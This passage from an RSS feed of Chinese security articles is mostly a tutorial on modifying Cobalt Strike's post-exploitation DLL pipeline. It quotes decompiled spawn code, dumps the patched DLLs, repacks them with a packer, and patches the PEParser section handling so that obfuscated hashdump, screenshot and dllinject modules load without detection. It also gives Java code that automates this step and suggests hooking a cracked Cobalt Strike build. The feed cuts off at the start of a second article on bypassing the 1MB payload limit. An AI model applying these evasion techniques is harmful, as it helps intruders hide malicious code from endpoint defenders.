spawn</strong></span></h2><p>在源码beacon/Job.java中</p><p>我们用spawn的代码举例，可以看到在得到解密后的DLLContent后会有一系列的patch来帮助dll在后期正确的被加载。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> void spawn(String string, String string2) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.arch = string2;</span></code><code><span class="code-snippet_outer">        byte[] byArray = <span class="code-snippet__keyword">this</span>.getDLLContent();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (string2.equals(<span class="code-snippet__string">&#34;x64&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            byArray = ReflectiveDLL.patchDOSHeaderX64(byArray, <span class="code-snippet__number">1453503984</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.ignoreToken()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.builder.setCommand(<span class="code-snippet__number">44</span>);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.builder.setCommand(<span class="code-snippet__number">90</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            byArray = ReflectiveDLL.patchDOSHeader(byArray, <span class="code-snippet__number">1453503984</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.ignoreToken()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.builder.setCommand(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.builder.setCommand(<span class="code-snippet__number">89</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        String string3 = <span class="code-snippet__string">&#34;\\\\.\\pipe\\&#34;</span> + <span class="code-snippet__keyword">this</span>.tasker.getPostExPipeName(<span class="code-snippet__keyword">this</span>.getPipeName());</span></code><code><span class="code-snippet_outer">        byArray = CommonUtils.patch(byArray, <span class="code-snippet__string">&#34;\\\\.\\pipe\\&#34;</span> + <span class="code-snippet__keyword">this</span>.getPipeName(), string3);</span></code><code><span class="code-snippet_outer">        byArray = <span class="code-snippet__keyword">this</span>.fix(byArray);</span></code><code><span class="code-snippet_outer">        byArray = <span class="code-snippet__keyword">this</span>.tasker.getThreadFix().apply(byArray);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.tasker.obfuscatePostEx()) {</span></code><code><span class="code-snippet_outer">            byArray = <span class="code-snippet__keyword">this</span>._obfuscate(byArray);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        byArray = <span class="code-snippet__keyword">this</span>.setupSmartInject(byArray);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.builder.addString(CommonUtils.bString(byArray));</span></code><code><span class="code-snippet_outer">        byte[] byArray2 = <span class="code-snippet__keyword">this</span>.builder.build();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.builder.setCommand(<span class="code-snippet__keyword">this</span>.getJobType());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.builder.addInteger(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.builder.addShort(<span class="code-snippet__keyword">this</span>.getCallbackType());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.builder.addShort(<span class="code-snippet__keyword">this</span>.getWaitTime());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.builder.addLengthAndString(string3);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.builder.addLengthAndString(<span class="code-snippet__keyword">this</span>.getShortDescription());</span></code><code><span class="code-snippet_outer">        byte[] byArray3 = <span class="code-snippet__keyword">this</span>.builder.build();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.tasker.task(string, byArray2, byArray3, <span class="code-snippet__keyword">this</span>.getDescription(), <span class="code-snippet__keyword">this</span>.getTactics(<span class="code-snippet__string">&#34;T1093&#34;</span>));</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">byte</span>[] byArray = <span class="code-snippet__keyword">this</span>.getDLLContent();</span></code></pre></section><p>进入<code>getDLLContent</code> 函数可以看到是有解密操作的。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.39800995024875624" style="height: auto !important;" data-type="png" data-w="1608" src="https://wechat2rss.xlab.app/img-proxy/?k=81b6ff88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVQWja2fxTR3GHJ5rnEpIRViaSU4AiagXDEsoAnW3jb7J023cmk9OLONHw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>加密的dll默认是长这个样子的。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.10972017673048601" data-type="png" data-w="2716" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=82dab850&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVjGCKLFmY9wRc3wKskqDNFicI63oHZGHu8ae5auZPdvXN4s3CmywBBNw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>我们可以看到代码在 <code>setupSmartInject</code> 之后开始做一些封装的处理。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.07767857142857143" data-type="png" data-w="2240" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d9ee7ae4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVJ6YQ8nYnXK5cmtFmlRUA8j7MPXBz7YhFeuCCkeZVq2Smjv9gITsKicQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>所以我们可以在这个代码段中间做一些有趣的事情。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">byArray = <span class="code-snippet__keyword">this</span>.setupSmartInject(byArray);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">    Do something interesting for byArray</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">*/</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">this</span>.builder.addString(CommonUtils.bString(byArray));</span></code></pre></section><pre><br/></pre><h2><strong><span style="font-size: 24px;">Dump the byArray to File</span></strong></h2><p>直接把DLL dump下来，进行后续的操作。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">byArray = <span class="code-snippet__keyword">this</span>.setupSmartInject(byArray);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">File savebyArrayFileName = new File(<span class="code-snippet__keyword">this</span>.getDLLName());</span></code><code><span class="code-snippet_outer">FileOutputStream FsavebyArrayFile = new FileOutputStream(savebyArrayFileName);</span></code><code><span class="code-snippet_outer">FsavebyArrayFile.write(byArray);</span></code><code><span class="code-snippet_outer">FsavebyArrayFile.close();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">this</span>.builder.addString(CommonUtils.bString(byArray));</span></code></pre></section><pre><br/></pre><p>但是在我拿到patch完之后dll做完相应的代码混淆后，替换原本的byArray加载时出现了crash。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="1.002659574468085" style="height: auto !important;" data-type="png" data-w="376" src="https://wechat2rss.xlab.app/img-proxy/?k=6fd38344&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVEnGDBplvvbLTXfMibL5IOpDDO3YaeRDOhqBn1vXn7mtLAQh5pP3ZB5Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>如果直接附加调试，这样或许可以找到问题但着实麻烦。</p><h2><strong><span style="font-size: 24px;">DLLinject</span></strong></h2><p>所以我关注到了dllinject 这个功能，该功能一样可以使用上述思路来patch，并且还可以找到问题所在。</p><p>首先相同的方法进行加壳或者代码虚拟化，看看能否成功，发现出现了一下错误。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.054491899852724596" style="height: auto !important;" data-type="png" data-w="1358" src="https://wechat2rss.xlab.app/img-proxy/?k=5cf21e95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVNjcZAWJiaOIS5jMHdEGVEkrjKuRuicQbcGwydfCT387Iby6lEXRCs9zA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>动态调试发现dll 在被CS patch 之前会寻找一个硬编码为 <strong>ReflectiveLoader </strong>的导出函数</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.2054794520547945" style="height: auto !important;" data-type="png" data-w="1022" src="https://wechat2rss.xlab.app/img-proxy/?k=f1cc3b16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVIyKnbqLz8iaC7rib4U6kgme2xLiau96fX1bIQkQa6szNkOdE19yD66Vtg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>看起来是导出函数的问题，经过CFF 查看之后发现又没啥问题，可以看到导出函数正常，所以猜测可能是偏移计算出现了问题。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.4884004884004884" style="height: auto !important;" data-type="png" data-w="819" src="https://wechat2rss.xlab.app/img-proxy/?k=6a3aecc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVNefhiajvLUyfxWoPyD1ZqHtgJsjIsAXPIREVUaTabA8Gc9bez6wWAMQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>尝试 <strong>peclone </strong>进行解析查看，由于受到压缩加密的影响，peclone 已经出现了一些解析异常。我们可以花时间去解决 PEParser 的问题，但也可以偷懒换些工具试试看。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.6858288770053476" style="height: auto !important;" data-type="png" data-w="748" src="https://wechat2rss.xlab.app/img-proxy/?k=dd99c952&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVEfdZlwyq36sfGyYzo2Xw0FIL1Vjp3t4nmZeNwEEq7uo8nPuGBdHwNw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>经过调试后发现packer之后的dll <strong><code>Export.FunctionAddressesFixed</code></strong> 是一个错误的值(也是n2对应的值),而 <strong><code>Export.FunctionAddressesFixed</code></strong>这里计算的是一个 FOA（ReflectiveLoader在文件中的偏移位置）。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.3434704830053667" style="height: auto !important;" data-type="png" data-w="1118" src="https://wechat2rss.xlab.app/img-proxy/?k=56179e20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVb71ks7MgIlicP9xqnNia7t0ZaWJt79LZxwvS6cDyuoCuFIjfoJlduexg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>该dll正常情况下是这样的</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.2952243125904486" style="height: auto !important;" data-type="png" data-w="1382" src="https://wechat2rss.xlab.app/img-proxy/?k=d93771ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVovEVeic208869TXYhKJSu2WyibGgql9IDm1v4dcLKO9dETZj2QLYA1vQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>我们可以清楚看到，n2 即是<code>FunctionAddressesFixed</code> 的值，只要≤0 就会报错。也就是无法在文件中找到 ReflectiveLoader导出函数的偏移。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.1435546875" style="height: auto !important;" data-type="png" data-w="2048" src="https://wechat2rss.xlab.app/img-proxy/?k=0f2ec5b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVI21m1HK8zCOibSFibzkfyCkIAunUXiaYdpDice1CVCwm1FKG7DCicEUlRcQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>往里面跟一下，的确也是FOA的计算公式。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.1765498652291105" style="height: auto !important;" data-type="png" data-w="1484" src="https://wechat2rss.xlab.app/img-proxy/?k=0eba42d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJV1tWQJvZnqZFdCBc8ibL5xgNyzkP6aBjjgATErwdtCz5BLRNOuw5E6hQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>关于RVA to FOA 的计算公式。</p><p><code><br/></code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">FOA</span> = RVA-V<span class="code-snippet__literal">Off</span>set+R<span class="code-snippet__literal">Off</span>set</span></code></pre></section><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.27808676307007785" data-type="png" data-w="1798" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=80b2de5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVomsKH8ow6XTXkuXVySYSEyl9ut6vKQCq4sZUAXVhknsnicPL8EXqa1w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>得到 VOffset 和 ROffset ，RVA的地址</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.17985611510791366" data-type="png" data-w="1112" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2e31782f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVmgXBD7y4MsmMaCuniaejjuNVlN0pEd5vh59fsGGdpIQ1wEb8FU4MjwQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>一开始我以为只需要手动修复一下这个值就行，但后续调试过程中我跟了一下，到底是为什么导致FOA计算错误。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.4092039800995025" style="height: auto !important;" data-type="png" data-w="804" src="https://wechat2rss.xlab.app/img-proxy/?k=fb381af2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVRVFJ6737fBtaHNgicHf7m3cBm6cMgiaQjdn5olmibEZmvTapiaLnQOMHDg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>发现在packer之后发现出现了重名的 <strong><code>.text</code></strong><code> </code>段，这也是导出偏移计算出错的直接原因，在CS PEParser解析的时候，存储相关数据用的是HashMap 以Key&amp;Value的方式存储，导致无法出现重名的Key，第二个.text 数据会将之前的数据覆盖掉，导致<code>FunctionAddressesFixed</code>计算出错。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.36492890995260663" style="height: auto !important;" data-type="png" data-w="633" src="https://wechat2rss.xlab.app/img-proxy/?k=9afa44ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVibDjeAsib5Dtw2MTOYjblJcWIhIjic33fOp5KOP24iaWbllAhgs7BF9rgQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>我的解决方案也很粗暴，直接在解析的时候将重复的段进行重命名，这样PEParser在计算的时候也不会受影响，并且DLL也并没有受到影响。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="1.2595596755504055" style="height: auto !important;" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=f8a93c37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVDVPz1XxjDoFG2samL9c6ucELzMcgRf4C544DuwiaibYbYKnw4u5VWWQw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>这样就没啥问题了</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.3754538852578068" style="height: auto !important;" data-type="png" data-w="1377" src="https://wechat2rss.xlab.app/img-proxy/?k=3c07876a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVhUkFx70K1GZ8iaDicv9EIgdhOkxaOj5oiaA8wqictSqDFibpUicqP8qqesgg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>还需要注意的是CS默认情况依然是不能加载超过1m的载荷（上一篇文章中有说Bypass Cobaltstrike 1m有相关信息可以看看），所以经过packer之后的dll请保证你的大小可以被正常传递。</p><p><br/></p><h2><strong><span style="font-size: 24px;">Back to build-in module</span></strong></h2><p>回到之前的hashdump，也是经过一系列调试发现，经过比较暴力的packer之后导致 peclone 都没办法解析了，我重新调整了一些参数来设置保护措施，最后可以直接在packer之后在beacon中加载，所以上述说到的dllinject 的问题其实和hashdump 是没有关系的，问题还是在packer的时候尽量保证dll不能面目全非，在你实现整个自动化 过程中也是需要注意的。</p><p>做到这一步基本上就可以做自动化了，你需要具备的条件是你的packer工具需要支持命令行，否则很难实现。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.2375366568914956" style="height: auto !important;" data-type="png" data-w="682" src="https://wechat2rss.xlab.app/img-proxy/?k=535d5ffa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVYmSmLTmTKlMkOg3SZQibRVTPbFT7lEQNcuYowKmJbtJbeOhtYjbcUKQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>第一个screenshot 是原始的 screenshot，大小在199k左右，第二个是经过packer之后的 大小在960k左右。</p><p>自动化实现：</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.504" style="height: auto !important;" data-type="png" data-w="1375" src="https://wechat2rss.xlab.app/img-proxy/?k=38f982f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVzcZNLYIeSxsnDUo91GgAggv3agZtfnyucicJ7MPgopnLT6oSpY1oia5A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>在每次运行命令的时候，首先经过CS patch 再经过一层packer达到的效果。这里只演示了内置功能，当你在dllinject的时候 都可以使用这个方法进行自动化。</p><p>实现代码：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    File savebyArrayFileName = <span class="code-snippet__keyword">new</span> File(<span class="code-snippet__string">&#34;/tmp/&#34;</span>+<span class="code-snippet__keyword">this</span>.getDLLName());</span></code><code><span class="code-snippet_outer">    FileOutputStream FsavebyArrayFile = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    FsavebyArrayFile = <span class="code-snippet__keyword">new</span> FileOutputStream(savebyArrayFileName);</span></code><code><span class="code-snippet_outer">    FsavebyArrayFile.write(byArray);</span></code><code><span class="code-snippet_outer">    FsavebyArrayFile.close();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//Do something for your dll</span></span></code><code><span class="code-snippet_outer">    List&lt;String&gt; commandList = <span class="code-snippet__keyword">new</span> ArrayList&lt;&gt;();</span></code><code><span class="code-snippet_outer">    commandList.<span class="code-snippet__keyword">add</span>(<span class="code-snippet__string">&#34;your packer command tools&#34;</span>);</span></code><code><span class="code-snippet_outer">    commandList.<span class="code-snippet__keyword">add</span>(savebyArrayFileName.toString());</span></code><code><span class="code-snippet_outer">    ProcessBuilder pb = <span class="code-snippet__keyword">new</span> ProcessBuilder(commandList);</span></code><code><span class="code-snippet_outer">    Process process = pb.start();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> (BufferedReader bufferedReader = <span class="code-snippet__keyword">new</span> BufferedReader(<span class="code-snippet__keyword">new</span> InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))){</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (process.isAlive()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> (bufferedReader.ready()) {</span></code><code><span class="code-snippet_outer">                String s = bufferedReader.readLine();</span></code><code><span class="code-snippet_outer">                System.<span class="code-snippet__keyword">out</span>.println(s);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> status = process.waitFor();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//Read the file after the pack</span></span></code><code><span class="code-snippet_outer">    File PatchSavebyArrayFileName = <span class="code-snippet__keyword">new</span> File(<span class="code-snippet__string">&#34;/tmp/resources/&#34;</span>+savebyArrayFileName.getName().replace(<span class="code-snippet__string">&#34;.dll&#34;</span>,<span class="code-snippet__string">&#34;.pack.dll&#34;</span>));</span></code><code><span class="code-snippet_outer">    byArray = getFileByteContent(PatchSavebyArrayFileName);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">    e.printStackTrace();</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre><br/></pre><h2><strong><span style="font-size: 24px;">packer不支持命令行怎么办？</span></strong></h2><p>在写死profile中的 post-ex 变量后，你可以一直使用这个被patch之后的dll再做packer，所以如果你的profile之后是固定了，那么你可以通过本地资源替换的方法直接加载。其中invokeassembly.x64/32.dll 就是一个典型的case。</p><h2><br/></h2><h2><span style="font-size: 24px;"><strong>不修改 CobaltStrike.jar</strong></span></h2><p>现在主流的CS crack 也不再是反编译修改源码了，而是更简单的Hook patch。这个使用java agent hook即可，推荐使用 <code>CSAgent</code> 进行二开，感谢开源。</p><p><br/></p><p>需要简修改的几个点：</p><ul class="list-paddingleft-2"><li><p>Job/JobSimple/PEParser/TaskBeacon 这几个类的几个方法</p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p>spwan/inject</p></li><li><p>spwan</p></li><li><p>parseSection</p></li><li><p>Dllinject ....</p></li></ul></ul><p>这样直接动态修改 class 中的method代码达到这个case的二开效果。</p><h2><br/></h2><h2><span style="font-size: 24px;"><strong>实际效果</strong></span></h2><p>请注意</p><ul class="list-paddingleft-2"><li><p>关于本思路并不能帮助你解决行为上的查杀，该方法只是在内存上做一定规避，该有的行为还是有。</p></li><li><p>配合4.5 的自定义注入相信会有更好的效果。</p></li></ul><p>以dllinject为例（hashdump等模块都是一个道理）使用后，还是可以看到你的dll还是比较清晰的裸露在内存中的。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.6266195524146054" style="height: auto !important;" data-type="png" data-w="849" src="https://wechat2rss.xlab.app/img-proxy/?k=19069c7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVDBb4IU0r2KM3QvGjSAWY21aIEBicuogiceYb8QIMTa165q6SyZRpXG2w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>注意：对于dllinject每次你使用完该模块后，这个内存区域并不会被free</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.2536945812807882" style="height: auto !important;" data-type="png" data-w="812" src="https://wechat2rss.xlab.app/img-proxy/?k=ef30950d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJVIQkCExBNDsmSmibWibkBySzB34CXeCCKy25vq0F9iaE4EHmblwwgWEgEw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>经过pakcer之后的，内存里面的绝大部分可读信息或特征已经被混淆了。</p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.7252311756935271" style="height: auto !important;" data-type="png" data-w="757" src="https://wechat2rss.xlab.app/img-proxy/?k=d934c9c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmD5gMj6oOibjxOjFMkHN0MJV1KiaVA5lPj6TzU6xruBav0aIYFjFUpR3MdWGYxsicgmdmrp4fzbdibJeQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p>



<p><a href="2247483713">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2d703dc7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483713%26idx%3D1%26sn%3D44d809fd3d861e0ce6389d34090a003b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 Jan 2022 13:16:00 +0800</pubDate>
    </item>
    <item>
      <title>Bypass Cobalt Strike 1MB</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483671&amp;idx=1&amp;sn=d00e0d5daad992012746b6b3c6c38dbc</link>
      <description>在攻防中经常会使用到frp,HackBrowserData等工具，常规的落地使用远不如在内存中.</description>
      <content:encoded><![CDATA[<p>
原创 <span>0x00 &amp;amp; 秋水</span> <span>2022-01-14 17:45</span> <span style="display: inline-block;"></span>
</p>

<p>在攻防中经常会使用到frp,HackBrowserData等工具，常规的落地使用远不如在内存中.</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=dc786c3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx628hStOibzgZibdQq1WATG3BLnyOeo0K1jrjltnOY5ckcTdrRelmsuTgIA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;"><span style="font-size: 18px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="346" data-backw="578" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62pza5ueMUdz3hj12WJMOVq6doztsy4mvpFxbZoMneSfb5HP92piaDyDw/640?wx_fmt=jpeg" data-cropx1="0" data-cropx2="1080" data-cropy1="164.42906574394465" data-cropy2="810.9342560553634" data-galleryid="" data-ratio="0.5981481481481481" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=86977f44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62pFustZCaM4Nxr5icvuZIyibPoCSOFR7yj1dZWRiaP5qtFbU0Z7ouS2fgQ%2F640%3Fwx_fmt%3Djpeg"/></p></span></h3><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;"><span style="font-size: 18px;">0x00 前言</span></h3><p style="min-height: 24px;"><span style="font-size: 